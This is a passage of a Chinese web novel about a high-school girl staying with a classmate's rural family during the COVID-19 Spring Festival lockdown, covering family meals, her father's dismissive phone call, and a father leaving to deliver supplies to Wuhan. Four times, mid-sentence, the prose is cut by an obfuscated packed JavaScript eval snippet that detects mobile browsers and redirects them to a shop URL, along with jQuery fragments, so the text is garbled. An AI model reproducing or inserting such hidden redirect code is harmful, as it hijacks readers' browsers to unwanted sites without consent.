她睡得懵懂,看了看手机时间,才五点。 手机锁屏已经自动换成了“年初五财神到”的壁纸。 ……看来是放鞭炮的声音。 往年她睡得沉,只记得年初五醒时路面有鞭炮的碎屑,从未被惊醒过。加之苏城烟花禁燃禁放了几年,更是忘了万响的鞭炮是怎样的动静。 原来迎财神要起得这样早。 要是像父亲所说的要提前赶到非禁放区去,那起得就更早了。 怪不得父亲不愿意来接她,这日确实辛苦。 想到寒山寺跨年听钟声、年初一烧头香,要顶着凛冽的风走不短的山路,要排许久的队,下山时眼神都是恍惚的,田知意觉得求神拜佛真是辛苦。 神佛会因此庇护他们虔诚的信众吗? ……那能不能让这场疫病早些结束呢?让一切都回到正轨上吧。 田知意迷迷糊糊地想着,翻了个身囫囵地睡去了。 她起床下楼洗漱时,看到堂屋大门敞开着,闻漫正拿着竹扫帚在扫院子。 “早啊。”田知意揉揉眼睛,“这么早就在劳动。” “这不昨天犯错了嘛,今天得表现好点。”闻漫笑嘻嘻地回答她,“邻家院子里放的鞭炮纸飘进来了,灰也落了一地,大过年的不好看。” “迎财神啊。”田知意嘟哝了一句,想了想又问,“你们家没放鞭炮吗?” “我家有围墙,要放鞭炮得去外面,外面对着路还停车,放鞭炮也不安全,就算了。最主要的是不图这个。” 田知意回头看了眼屋里那幅福禄寿图和边上的对子:“的确,你家都没贴招财进宝,福禄寿喜边上的对联也不是‘万荣华’‘富贵春’。” “那是我爷爷写的。”闻漫把纸屑灰尘扫扫堆,“他说和气生财,求和气比求财重要。” “那这画呢?” 田知意不懂画,但也看出画作用色淡雅,笔触细腻,与市面上常见的花花绿绿的式样大不相同。 “也是爷爷画的。” “好厉害。”田知意低声惊叹,“他学过吗?” 闻漫摇头:“好像是自学的,爷爷生前很喜欢写写画画。逢年过节会帮村里写写对联福字什么的。” “那更厉害了。” 田知意刷完牙,刚用热水打湿毛巾,就听到闻漫去敲他父母的房门:“早饭做好了。” 这句方言不是很难,田知意也能轻松听懂。 “叔叔阿姨还没起来吗?”田知意边把毛巾盖在脸上边问。 “我妈刚从地里回来,在换衣服。我爸一早就出去了。”闻漫解释。 “起得好早。”田知意低声惊叹。 此时不过六点多,每个人竟然都已经忙碌了起来。 昨晚闻漫说他们家早饭时间和平时上学一样,她还以为是夸张,不成想当真是他们的正常作息。 “昨天是意外,平时我们睡得早,起得也早。”闻漫看出了她的惊讶,“早起三光,晚起三慌嘛。” 看田知意洗漱得差不多了,闻漫跑进厨房里去盛早饭。 田知意有些好奇他家厨房的构造,便跟着他走了过去。 他家的厨房搭在院子的西边,外面是接了煤气罐的灶台,闻漫正从灶上的铁锅里盛粥出来。 厨房里被巨大的土灶占去了大半,只留了窗边的一排留作了操作台和水槽。 田知意揭开木制的锅盖,白色的蒸汽伴随着馒头的香味铺面而来。 她环顾四周,只在灶台的空格处看到几只碗,没有找到夹子之类的辅助工具。她看着腾腾的热气,着实下不去手直接把馒头从锅里抓出来。 这厨房里的活计她是做不了一点了。 田知意犹豫片刻,把锅盖又盖了回去,退到厨房外帮闻漫端碗。 闻漫已经将几人份的粥端上了桌,看到田知意的模样,知道她是有心无力,便递了只大碗给她:“你把这个拿过去,锅里的馒头我来取。” 田知意接过碗却不动:“我要看看你有什么办法。” “也好。”闻漫笑了笑进了厨房,“其实也没什么很难的。” 他揭开锅盖,找了两根筷子,伸到蒸笼的圆形空处,将蒸笼整个的架了起来。 “等下把蒸笼放在碗上就可以了。” 田知意在心里叹服闻漫的智慧,快步走到堂屋,将空碗放在方桌的正中。 闻漫架着蒸笼跟在她身后,与换好衣服走出房间的章成绢碰了正着。 章成绢与他大眼瞪小眼了片刻:“你在做什么?” 闻漫理直气壮地回答:“早饭啊。” 章成绢看了眼闻漫手中的蒸笼:“你把这端出来做什么?” 闻漫有些疑惑:“不然用手把馒头抓出来吗?” 章成绢用难以理解的眼神地看着他:“为什么不把馒头装在碗里,然后把碗放在蒸笼上?” “你说这个啊。”闻漫终于理解了章成绢的想法,“这样馒头受热均匀更好吃,家里有客人呢,不能因为我蒸得不好让人家质疑你做馒头的水平。” 章成绢被他说到哑口无言:“也对。” 田知意目瞪口呆地看着他们争论,她听得半懂不懂的,只能低声让闻漫帮忙翻译。待她弄明白整个过程后,仍有些不可置信地问他:“你妈就这样被你说服了?” 闻漫点点头:“我说得有道理啊。” 田知意不知道该如何回答他,也只能点点头:“你说得有道理。” 待章成绢坐下后,田知意才跟着坐下吃饭。 章成绢为她夹了一个馒头:“这是过年自家做的,不算好吃,吃个新鲜。” 田知意心知她是谦虚:“阿姨做的东西都是极好吃的。” 馒头是水滴形的,有她的一只手掌那般大,捏合处做了好看的花形,馅料的颜色从中渗出些许来。 “这是腌菜馒头,你们那里可能叫梅干菜馒头。”闻漫向她介绍。 这不是田知意常吃的口味,但她很乐意尝试一下。 她轻轻咬了一口“水滴”的尖部,面团松软又有弹性,不干不柴,细细咀嚼来还甜津津的。 ……好吃。 田知意又咬了一大口,这次她如愿吃到了馅料。 馅料的腌菜切得极碎,不似梅干菜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050386|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干香,倒很有些充盈的水润。和肥瘦得当的肉沫炒在一起,咸、香、鲜、润的口感混在在一起,再搭上可口的面皮,咬上这么一口就再也停不下来。 馒头鲜香,清粥爽口。 田知意吃完后只觉有种满足感在心间弥漫,她甚至开始期待起了中午吃什么。 等田知意反应过来在想什么时,她忍不住拍了拍自己的脸。 ……醒醒,难道要将蹭吃蹭喝进行到底吗? 他们吃得差不多的时候,闻父回来了。 他一进院子就带来了爽朗的笑声:“好香的馒头,我在外面就闻到了。” 说着,闻父在水池边洗了洗手,径自走进堂屋,随手从蒸笼上拿起一个馒头,咬了一口后喃喃自语:“是我喜欢的肉馅的。” 他一边吃着,一边招呼他们:“你们慢慢吃,我先进屋了。” 闻父吃完便拐进了卧房,刚好章成绢也放下碗筷,跟着他一同进去了。 闻漫起身收拾桌子,田知意给他打下手。 “外面水冷,你端碗就好了,不要伸手去洗,会长冻疮的。”闻漫叮嘱她。 “那你怎么办?”田知意问。 “我有我的办法,而且我习惯了。” 田知意不再说话,她知道这里不是她能逞强的地方。 闻漫父母的卧房内。 闻父告诉章成绢:“我最近可能要出去几次。” “不是有疫情吗?你去哪里?”章成绢不解。 “就是因为有疫情,等下要先去一趟苏城,然后从那里直接出发送一批物资去武汉。” 章成绢知道武汉的情况,只是沉默片刻:“那也是应该的。” 她想了想又说道:“既然你要去苏城,不如顺道把田知意送回去吧?她一个小姑娘家,没个说法就呆在这里也不是个事。” “这倒是可以的。”闻父答应了,“不过我没有她家人的联系方式。” “我来管褚楼长要。” 章成绢简单地讲了田知意的情况,楼长也很配合,把田知意父亲的电话给了她。章成绢拨了过去,通话在响了三声之后被接通了:“喂?” “田先生您好,我是田知意同学的妈妈,现在田知意暂时住在我家。” 田知意的父亲很明显的一个愣怔:“这孩子真是……怎么跑你家去了?这不是给你们添麻烦吗?” 章成绢没想到田父开口就是责备,连忙解释:“大过年的店还没开门,楼长过不来做饭,孩子也是没办法。” “这叫个什么事……就这两天忙,让她用冰箱里的东西随便煮个饭,炒个鸡蛋对付一下,空了就接她回去。没想到这都不肯……唉,真是让您见笑了。” 章成绢从田父局促的言辞中听出了他的无奈。 只是她早已听闻漫讲过田知意那里连锅碗瓢盆都没有,更不用提冰箱里有菜可以做饭,只觉得这个父亲心大。 但她拨这通话是为了解决问题的,并不想评价田父的言语:“这倒也没什么,孩子嘛。我家那位这两天会去一次苏城,方便的话把田知意一同捎回去,到时候在苏城定个地方,你们出来接她一下,看这样行不行?” 回应她的是田父的沉默。 32. 梦成 田父的沉默像是卡在溪流中的礁石,生硬地打断了对话的节奏。 章成绢隐隐感到不安,试探着问:“您是不是有什么难言之隐?” 田父吸了口气,迟疑着说:“事情是这样的,家里有个高龄孕妇,身体不算好,一直在保胎。之前请过人帮忙,由于现在的特殊情况……只能让人回家了。无论是生活还是检查都不方便,再照看一个考生实在是……” 章成绢心下一紧,知道田父的意思是有心无力。 她听闻漫提起过田知意的父母不大管她,当时她只当田知意身在外地父母照看不到也很正常,现在看来情形竟比她想象的还要复杂。 想到这里,章成绢不由得心软了几分:“要不先让田知意住在我这里?等等开学的通知。” 她听到田父充满感激的声音:“那可真是太麻烦你了,我们家姑娘从小没出过门,被我们惯坏了,有什么不懂礼数的地方还请多担待。” 章成绢想到田知意小心翼翼主动干活的模样,心道这可不是从小惯坏的孩子会有的样子。 她清楚这不过是田父的托辞,越发心疼起田知意来:“没关系的,不过是多双筷子,我家孩子也刚好有个伴。” 田父又客套了几句,中间夹杂着和田母的商量,最后章成绢听到田父问:“对了,还没问你家孩子的名字呢。” “闻漫。”章成绢斟酌片刻,没有告诉田父名字的写法,只是重复了一遍,“我的孩子叫闻漫。” 挂断了通话,田父转过头看向田母:“她说她家小孩叫文曼。” “文?闻?名字怎么写?”田母问。 “她没说,又不寄信问名字写法也不好。”田父显然对这个问题很不在意,“管他那个wen,小女孩的名字能有什么花头。” “这倒也是。”田母顺势放下心来,“住在女同学家里,看人家妈妈还算个负责的人,应该不会有事的。你等下记得打个电话给知意,让她勤快点客气点,别招人家讨厌说闲话。” 田父这才想起通话里根本没问田知意的这位同学是男是女,但这名字听起来就让人很放心,让他先入为主地认为是个女孩的名字。 况且,他压根不觉得田知意能做出住到男生家里这种大逆不道的事。 因此这个念头在他脑中只一闪便过去了。很快他从微信里找到田知意,给她打了个语音。 田父的语音通话打来时,田知意正在看闻漫洗碗。 闻漫果然如他所说的那样很有办法。他把冷水倒入还热乎的土灶铁锅里,用竹刷子仔仔细细刷过了,又拿瓢舀出来倒在水槽中,将碗一并洗了。来回几次,倒进铁锅里的水已是极清,水槽里的碗也洗了几轮。最后,他将碗在水龙头下一一冲过了,叠在一起倒掉了残余的水,这才收了起来。 田知意看得惊异,语音通话铃声响了许久,直到闻漫出声提醒她:“你手机响了。” “我爸……”田知意掏出手机匆匆看了一眼,“他来接我了?” 闻漫将自己的脸埋进阴影里:“那不挺好。” 语气倒是轻松的。 田知意看不清他脸上的表情,却也无暇顾及,她急急地接通语音:“喂,爸我现在在……” “你现在在同学家里。”父亲直截了当地打断了她,“我刚刚跟你同学的家长沟通过了,到开学前你就先住在那里。” “啊?”田知意没想到她得到的竟是这样的答复,“住在他家,可是……” “有什么可是的呢?”父亲问她,“人家妈妈都同意的事,那你还不客气点谢谢人家。你现在也大了,应该知道要怎么处事的。” 田知意愣住了。 是她结识了闻漫才有了这暂居之所,要不然她还得留在公寓里饿肚子。 这一切都是她的独立行为,为什么现在她要被父亲来教怎么和闻漫家相处? 她刚要辩解,抬眼却看见面前的闻漫。她不确定闻漫能不能听懂她和父亲的方言对话,但她也不想在闻漫面前和父亲吵起来,便只得应下:“好的,我知道的。” “知道就好。”父亲想了想又补充道,“勤快点,别招人烦被人说闲话。” 他说完就挂断了通话。 田知意看着通话中断的界面,一时气结说不出来,握着手机的手止不住地颤抖。 什么叫她别招人烦被人说闲话。 把她接回去不就不会有这种事发生了吗? 况且以闻漫家人的人品,绝不是会做出说人闲话这种事的。 ……就算这边有什么闲话,也不会传到苏城去的。 田知意浑身的血气都在往头顶涌,她恨不得直接打个语音回去和父亲吵一架。 所幸她在对上闻漫的眼神时,理智瞬间回笼。 ……算了,不能在他家里、他面前和爸妈闹起来。 田知意知道自己的脸色绝称不上好看,但毕竟没真的吵架,一切都还有解释的余地。 ……要是闻漫没听懂他们的对话就好了。 她知道闻漫学习方言的能力很强,但壶州与苏州的方言着实相去甚远,甚至属于两种不同的方言大类,一时要听明白也不大容易。 犹豫片刻,田知意还是小心地问:“刚刚我和我爸说……” 田知意和田父的对话,闻漫听得很清楚,也完全听懂了。 虽然与壶州方言完全不同,但苏城的方言和沪市方言极像,他这些年接触了不少来自沪市的人,听懂苏城话也没有特别困难。 但田知意不虞的神色和试探的口气都在提醒他——田知意并不想他知道对话的内容。 闻漫便干脆装作什么都不知道:“什么?” 田知意松了口气,换上了一副轻松的神情:“他不打算接我回去,让我在这里待到开学。接下来的日子就要麻烦你们多关照了。” 她的唇边还带着勉强的笑意,像是被骤然扯紧的伤口,看起来就觉得疼。 闻漫只觉心酸,却又不好表现出来,只能配合她勉强地笑:“不麻烦,你能留在这里真是太好了。” “那我先去收拾行李啦。”田知意转过身,“昨晚我以为只是暂住,好多东西没拿出来。” “你的行李箱还在楼上,要我帮你搬上去吗?”闻漫擦干手问。 田知意背对着他摆手:“等会儿吧,我先收拾背包里的东西,行李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062503|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱的衣服不着急。” 说着,她快步走进堂屋,兀自上了楼。 ……能和闻漫朝夕相处是好事啊。 田知意在心里对自己说。 可泪水早已在她眼里攒聚成球,只是她强忍着直到进了房间才落下。 田知意离开没多久,章成绢从卧房里出来:“闻漫,你过来下。” 闻漫不明所以,只听章成绢问到:“田知意要在我们家住到开学,这事你听说了吗?” “刚刚她跟我说了。”闻漫点头,“怎么了?” 章成绢看着他:“我在想,你要不跟我们换个房间,我和你爸住到楼上去,你住楼下来。” 闻漫如遭雷劈,问话几乎脱口而出:“为什么?” 章成绢瞥了他一眼:“你是男的,她是女生,住同一层不方便。她既然住在我们家,我就要对她的安全负责。” 闻漫明白了章成绢的意思,内心复杂一时不知从何说起:“可是老爸不也是男的吗?” “他要去武汉了,刚刚就走了。他不住楼上。” 闻漫只觉得令人震惊的消息一个接着一个。 无论是让他换房间还是父亲要奔赴武汉,都教他反应不过来。 可惜章成绢的信息轰炸还没完:“你喜欢那姑娘,对吧?” 闻漫已然完全失去了语言能力:“这话说得……” “昨晚你听到她没饭吃急得恨不得飞她身边去,当我和你爸瞎子呢。” 闻漫的记忆随着章成绢的话正在迅速回调,他臊得红了脸:“你不怕现在说这事影响我高考吗?” “我不说就让你整天瞎琢磨就不影响你高考了?”章成绢反问他。 闻漫想想也是这个理。 “那你打算什么时候搬呢?”章成绢继续问。 闻漫不想搬。 在公寓时他便与田知意同一层还是对门,没道理人家住他家来了反而隔远了。 早知道这样,他还不如住公寓去每天做饭给她吃。 他强迫自己冷静下来,反倒想出了一套说辞:“我和她在公寓就是门对门的邻居,她住家里来了我反而要搬到楼下,这样很难不让她多想。” 这倒是个理由,章成绢正是考虑到这点才来问闻漫看法的:“那不换房间的话你可要规规矩矩的,别碰人家姑娘。” 闻漫对天发誓:“你儿子我绝不是那种人。” 章成绢想了想,算是同意了他的话:“那人家姑娘说喜欢你了吗?” 闻漫摇头。 他能感觉到他们关系不差,但心意这种东西,不说出来便总觉得难以保证。 “那你的心意告诉她了吗?” 闻漫连忙摇头:“没有没有。” “也是哦。”章成绢笑着开起了他的玩笑,“万一被拒绝了多影响高考。” “妈,你怎么这么说——” 章成绢看着闻漫着急的模样,只觉好笑。她走过闻漫身边,拍了拍他的肩膀:“不着急啊,有我这样性格好做饭又好吃的妈妈,多少能给你赚点人情分的。” 她说完便去忙活午饭了,留闻漫一人在堂屋前无所适从地打转。 33. 梦成 田知意在房里哭了会儿,冷静下来逐渐意识到没什么可哭的。 闻漫家对她挺好,饭也好吃。生活习惯上虽然不大一样,但适应适应也就成了。 况且她在这里不会被人批评指责,也不用照顾孕妇,学业上有问题还能请教闻漫,着实是件好事。 ……刚刚究竟是为什么难过呢? 心里的难受如团荆棘丛,田知意忍住恐惧扒拉了许久,才隐约窥见真相。 是父亲冰冷的规训和没人接她回家的落差,让她产生了被抛弃的感觉,一时情绪上头让她难以分辨真实的需求。 田知意抬起头,盯着天花板看。 天花板有些旧,斑驳的痕迹与灰渍组成一幅杂乱的画,像是她心里的混乱情绪。 她想起自己初到壶州的那晚,公寓宿舍就像一张黑洞洞的嘴,随时可能将她吞没。那种冰冷的恐惧,现在仍记忆犹新。 田知意深深吐了口气,似乎要将所有的恐惧与不安一口气吐净了。 ……没什么可怕的。 田知意告诉自己,那些不过是觉得自己可能被家里抛弃的幻想,是对未知未来的糟糕想象。 一切都还没发生,当下也没很糟糕。 甚至还有些美好。 ……哭过这一场,忘掉过去,往前看吧。 田知意整理了一阵自己的东西,又将卧室简单扫了扫才下楼,刚到楼下就见闻漫把一台笔记本的后盖拆开了,正用电吹风小心翼翼吹着里面的灰尘。 “你拆电脑做什么?”田知意问。 “我刚收到学校的消息说接下来这段时间居家线上教学,我得把电脑上的软件装一装,好准备上网课。”闻漫解释着,手里的动作却没停下来,“这台电脑好久没用了,积了太多灰尘,影响速度和散热。” “你怎么什么都会。”田知意感慨着,随即意识到不对。 既然闻漫的学校通知线上教学,那她的学校呢? 她掏出手机看了看班级群,果然班主任也发了线上教学的消息,建议大家先安装钉钉软件,方便之后上课和布置作业,并且特别提醒大家备一台家用打印机,之后的作业需要学生自行打印、拍照上传。 田知意感觉大事不妙。 闻漫家不可能有第二台电脑给她学习,她不会要抱着手机上网课吧? 即便她能用手机听课,没有打印机也做不了作业。 想到这里,田知意问闻漫:“你家有打印机吗?” 闻漫摇头:“没有,不过已经在网上下单了,从浙省发货应该很快就能到。” 春节遇上疫情使得很多地方的物流都受到了影响,现在看来江浙沪的快递还算□□。 田知意稍稍放下心来,她想到了解决的办法。为了避免再被父亲训斥,她选择了给母亲打语音:“喂,妈妈,今天身体还好吗?” 母亲虽然疲惫,但听到田知意的声音还是很高兴:“还不错啊,听说你住在同学家了,还适应吗?” “挺好的,他们对我很好。” “一切都好就好。”母亲松了口气,“你在别人家住着肯定不如自己家自在,要多为别人考虑,有的话别人嘴上不说,心里肯定不会像自己爸妈一样包容你的。” 田知意不太爱听这样的话,但也知道这种叮咛不好好听着是不会停下来的,只能小心地应和着:“好的好的,我都知道了。眼下我正遇到一件很不方便而且不能麻烦别人家的事。” “什么事啊?”母亲问。 田知意把线上教学的事说了一遍,又提出了自己的解决方法:“家里不是有台旧平板吗?我想你把平板、电容笔和耳机一起快递给我,省得我想办法回家拿或者再买个新的了。” “你同学家没有吗?”母亲不解。 田知意心里一沉。 母亲以为她住同班同学家去了。 事实上母亲这么以为也非常合理,毕竟无论是谁对同学的第一印象都会联系上同班。 ……可这要怎么解释呢? 田知意想了想,决定含糊其辞:“我这个同学是理科的。” 母亲似懂非懂:“那你怎么认识她的?” “我们住一栋楼,平时一起上下学。”田知意本着真话不全说的原则继续编,“理科生数学比较好嘛。” ……嗯,这怎么不算实话实说呢? 母亲接受了她的说辞:“原来是这样。你要不着急的话,等你爸回来我让他去寄。” “着急,着急得很。”田知意听到父亲不在家,立马煽动母亲赶紧行动。 等父亲回来还不知道他要说出什么推脱的话,事情会更麻烦。 母亲犹豫起来:“可是我出门不方便……” “没关系,不用你出门。”田知意表现出难得的果断,“你把东西准备好,我在顺丰上下单,等快递员快到了你就把快递放家门口,这样都不用接触。” 家门口有监控,也不用担心会有人拿走。 听田知意这么说,母亲终于勉强应了下来。 田知意生怕她反悔,刚挂断通话就在顺丰小程序上下单。 临了她才发现自己根本不知道闻漫家的地址怎么写。 她问闻漫,闻漫告诉她就写镇上驿站的地址。 “那是不是还要自己去取?顺丰也不能送货上门吗?” “顺丰有时候可以,但这个时候进来可能会很麻烦。而且镇上的驿站会每天对快递进行消杀,取快递的话提前跟他们说一声,他们会帮拿出来放在外面,也不用接触人。” “这样也行。” 田知意想到闻漫也有个快递要拿,她也不必太担心快递怎么取,便放心地下单了。 他们正聊着,只听章成绢过来提醒他们:“东西收一收,可以吃午饭了。” “中午吃什么?”闻漫低头边拧螺丝边问。 “腌笃鲜。早上挖到了冬笋,给知意做道苏城菜。” “冬笋煮汤好吃。”闻漫终于将笔记本恢复原装,“我去准备点辣酱。” “辣酱都现成的,你还是把桌子擦擦吧,看看那层灰弄的。” 田知意听得半懂不懂的,看到章成绢指了指桌子,心里推测可能是要擦,立即去拿抹布。 她在卫生间用水将抹布打湿,又搓了搓。 闻漫看到,忙接过来拧干,用抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093084|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布把一桌子的灰掸到地上,抬眼瞧见她湿了的袖口:“你的袖子湿了,冷不了?” 田知意这才发现袖口有些冰。 冬天衣服穿得厚,她把袖子撸上去不久就滑了下来,被水打湿了。 她伸手捂住:“没事的,我塞点纸吸一吸,很快就干的。” “一直捂着很不舒服的。”闻漫擦完桌子就去找田知意的行李箱,“我帮你把行李搬上去,你到卧室里换一件衣服吧。” 田知意露出窘迫的神情:“走得匆忙,其他羽绒服都扔在公寓里……” 闻漫沉默了,他想了一阵也没想出太好的办法,便拿起脏抹布往厨房走去:“我去问问我妈怎么办。” “别……”田知意阻止的话还没说完,闻漫已经和章成绢交流了起来。 章成绢把锅丢给闻漫照看,急匆匆走出厨房:“哪里弄湿了?面积大不大?” “不要紧的。”田知意举起袖子,“拧抹布的时候弄湿了,垫些纸很快就干了。” “那可不行,捂久了容易长疹子,也不舒服。”章成绢将田知意带到她的房间,“你介不介意穿我的衣服?是刚做的新衣,还没怎么穿过。” 田知意本也在担忧自己一件羽绒服怎么在这里穿到开学,听到章成绢有替换的衣服给她,自然不会拒绝:“那真是太好啦。” 章成绢在柜子里翻了翻,翻出一件天蓝色的棉衣,与她身上的棉衣是一样的款式。 她俩身高相似,田知意要略瘦一些,穿上显宽松,行动倒比穿羽绒服便利得多。 棉衣充了厚厚的棉花,有些分量,但有种沉甸甸的暖和的安全感。 她换好衣服出门时,发现闻漫一直盯着她看。 “看什么?”田知意不好意思地低下头,“不好看吗?” 平心而论,这装束着实不算时尚,要是被她母亲看到了肯定是要被说的。 “好看的。”闻漫说,“你要是梳两个麻花辫就特别像老照片里那些好看的女学生了。” 田知意跑回章成绢的卧房里照了照镜子,确实有种古朴的味道。 她将马尾辫解了,双手握住拢了拢,发现她的头发不够长也不够多,梳不了过去那种油汪汪的麻花辫。 ……有些可惜。 既然羽绒服已经换下来了,不如干脆就洗掉。田知意把羽绒服塞进了洗衣机里,加了点适量的洗衣粉。 她有些庆幸她还能做些照顾自己的事,不至于太过露怯。 忙完这一切,章成绢已经将午饭端上桌。 闻漫盛好一人一碗汤,在边上调辣酱。 田知意数了数桌上的碗,意识到不对:“闻叔呢?” “他出去了,最近有批物资要送去武汉。” 章成绢说得轻描淡写,田知意却从闻漫的表情里读出了凝重的意味。 “那岂不是很……危险……”田知意不知该如何措辞,“回来也要很久吧?” “危险也还好,防护服护目镜都给他配好了。来回也就几天,但回来后要隔离十四天。” 田知意算了算日子,将近二十天。 ……那真是很长的一段时间了。 34. 梦成 田知意看了眼闻漫,他一言不发,从神情里辨识不出他的想法。 似乎觉察到田知意的目光,闻漫快速回了她一个令人安心的笑容:“没事的,和往常一样去工作了而已。” 田知意小心地看向章成绢。 章成绢也对她笑了笑,用漏勺捞了些笋片咸肉:“来多吃些。” 田知意道谢着将碗递了过去。 方才的紧张氛围仿佛只是她一厢情愿的臆想。 田知意感觉心口堵堵的,像是憋了一口气一样。 她觉得自己像在跟谁较劲似的不痛快了起来。 ……无论是谁突然听说父亲要这时候去武汉,心里都不会好受吧。 那她……不就刚好在戳人心窝子吗? ……天呐,有补救的方法吗?快想快想! 田知意加速思考,却像是撞进了死胡同,眼冒金星也想不到合适的话。 聊天时说出句圆不了场的话,就像掼蛋时打出张收不回来的牌,只会让队友一言难尽、自己百爪挠心。 田知意愈想愈觉得自己多话。 要是问了闻叔的去向之后闭嘴就好了。 要么干脆连这句都别问。 她彻底沉默下来,小口啜着碗的汤。她的身边像是结出了一层厚厚的障壁,将她和周围泾渭分明地隔开。 “吃得惯吗?” 章成绢突然的发问像一支利箭击中障壁,在田知意心里激起震颤,她在强烈的情绪动荡里抬起头,费了好一会儿才意识到章成绢不过问了个寻常的问题。 腌笃鲜是苏城菜,田知意清楚这是章成绢怕她吃不惯特意准备的。 ……这就没什么吃得惯吃不惯一说了。 况且腌笃鲜的汤汁被熬煮得十分可口,咸肉与小排的油脂被撇得干净,只留下与冬笋小火慢煨过的清香。 “好、好吃的。”田知意小声地回答,眼神闪躲,像只受了惊的小兔子,“和老家的味道很像。” 章成绢笑了起来:“这还是我在沪市跟人学的。” 她讲起往年做生意的事,闻漫也跟着插了几句嘴,气氛很快轻松起来。 田知意只静静看着他们,像是站在玻璃花房外的人,隔着透明的墙看着里面温暖美丽的场景,却不敢推门走进。 饭后,田知意拿着洗好的衣服去二楼晾晒。 她不知道阳台的位置,章成绢就让闻漫带她上去。 田知意跟在闻漫身后,在转角的时候看了眼小窗。 帘子被拉到一旁,透过窗外刚好能看到房屋西侧的大片菜田。地里的菜已经长出了绿绿的叶子,阳光撒下来,正是一幅好春光。 “在看什么?”闻漫注意到田知意的脚步停了,回过头来看到她正盯着窗外。 “我在看菜地和远处的河。”田知意说,“这扇窗不能开吗?” “不能呢,风会很大。” 田知意感觉有些可惜,要是能从这扇矮窗翻出去感觉一定很好。 闻漫看着她惋惜的表情:“就是因为大家都像你这么想,这扇窗从一开始就封死了。” 田知意疑惑地看着他:“这里不高,就算摔下去也不会有事,为什么一定要封死?” 闻漫捂脸:“你知道以前有种东西叫旱厕吗?” 田知意不说话了。 ……如果你觉得一项规则特别离谱,那一定是发生过更离谱的故事。 二楼晾晒衣服的位置在玻璃移门外“L”型露台的南角落。 午后没什么风,阳光落在身上暖洋洋的。 田知意的心情也随之明媚起来。 这里让田知意想到了公寓顶楼的天台,只不过围栏要矮得多。 “要是搬张躺椅在这里晒太阳一定很舒服。”田知意猜想。 “会有点冷哦,有时候风还是挺大的。”闻漫指了指楼下,“我妈经常在那个位置晒太阳,那里没什么风。” 田知意顺着闻漫指的方向看去,只见章成绢刚好搬了张躺椅,坐在一楼外的屋檐下。 她身上盖了条不薄的花被,手里拿着棒针与毛线。 “阿姨在织毛衣吗?”田知意问。 “看起来不像。”闻漫仔细看了看,“应该是在钩鞋。” 田知意花了几分钟反应过来,她想起章成绢穿的那双手工钩针棉鞋,当时觉得还挺别致,不知道那里能买到,现在才知道竟然出自章成绢本人之手。 “阿姨真是心灵手巧。”田知意看了看自己的双手。 她以前很得意自己的双手,白净细腻,完全没有劳作与吃苦的印记。此时她却觉得这双手格外没有用。 “如果我掌握了这些技能,是不是不用再恐惧了呢?”她喃喃着。 “嗯?”她的声音随风落在了闻漫的耳中,“你想学会什么技能?” “你、还有阿姨会的那些。”田知意掰着手指数,“做饭洗碗之类的不说了,阿姨会做鞋,你会拆笔记本电脑,这是我凭空想都想不到要去做的事,我甚至不知道该从何学起。” 闻漫想了想。他想到了几种回答,但都不让人满意。他觉得田知意的困惑并不在没有技能,只是这问题太难,他也不知道答案。 见他陷入沉默,田知意也知道自己过激了:“算了,我也就一时瞎想想。” 说着,她将目光转向边上的房间:“这个房间有人住吗?” “现在没有人住,你好奇的话我们一起进去看看。” 房间的窗户开在南边,门在东面。是扇手工的木门,红漆斑驳,透着年代的印记。黄铜的锁孔有些褪色,上面插着把钥匙,闻漫拧了拧钥匙,辅一轻推门便开了。 陈年的木门发出“吱呀”的声响,掀起微尘在阳光下旋舞。扑面而来的旧书的气味仿佛是记忆的聚集,絮絮叨叨着不曾埋没的过往。 田知意站在门前,面对她的是顶天的一整墙的木制书架。书架的尽头连着同样到顶的木柜。 房间的南侧是一张巨大的书桌,一张靠背椅。北部有张床。其他位置放着生活杂物,只是房间里已经没有人生活的迹象了。 “这里最初是爷爷的书房,后来……成了爷爷临终前的居所。” “他每天都在这里看书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093085|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “看书、练字、画画。” 